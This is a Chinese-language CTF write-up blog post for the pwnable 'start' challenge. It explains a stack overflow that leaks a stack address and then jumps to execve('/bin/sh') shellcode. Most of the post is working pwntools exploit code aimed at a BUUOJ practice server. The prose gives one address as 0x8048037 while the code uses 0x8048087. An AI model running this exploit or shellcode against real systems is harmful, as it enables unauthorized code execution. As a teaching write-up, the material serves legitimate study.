这题主要记录一下怎么看汇编
这题的思路就是在栈上写入shellcode,所以我们就要去找栈的地址。
这里就需要要一个payload
1
payload = b'a'* 0x14 + p32(0x8048037)
0x8048037就是write的返回地址,send这个payload后esp的内容就是栈上0x8048037的内容,将stack上的内容泄露出来。还就就是为什么是0x14不用加0x04,我们可以看到在retn前没有leave,所以不用+0x04。
用下面这一脚本可泄露stack的地址
1
2
3
4
5
6
7from pwn import *
context.log_level="debug"
#p = process('./start')
p=remote('node3.buuoj.cn',26163)
payload = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload)
p.interactive()stack的地址再加上0x14就回到我们原来的位置了,在接入shellcode就可以了。
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32from pwn import *
e=ELF('./start')
context.arch=e.arch
context.terminal=['tmux','splitw','-h']
#r=process('./start')
r=remote("node5.buuoj.cn",29188)
shellcode=asm("\
xor edx,edx;\
xor ecx,ecx;\
push 0x0068732f;\
push 0x6e69622f;\
mov ebx,esp;\
mov eax,0xb;\
int 0x80;\
")
r.recvuntil("Let's start the CTF:")
pay1=0x14*b'a'+p32(0x8048087)
r.send(pay1)
stack_addr=u32(r.recv(4))
print('stack->',hex(stack_addr))
r.recv()
pay2=b'b'*20+p32(stack_addr+20)+shellcode
r.sendline(pay2)
r.interactive()
pwnable_start(只能看汇编)
- 本文链接: http://linkpwn.github.io/2025/03/16/pwnable-start-只能看汇编/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!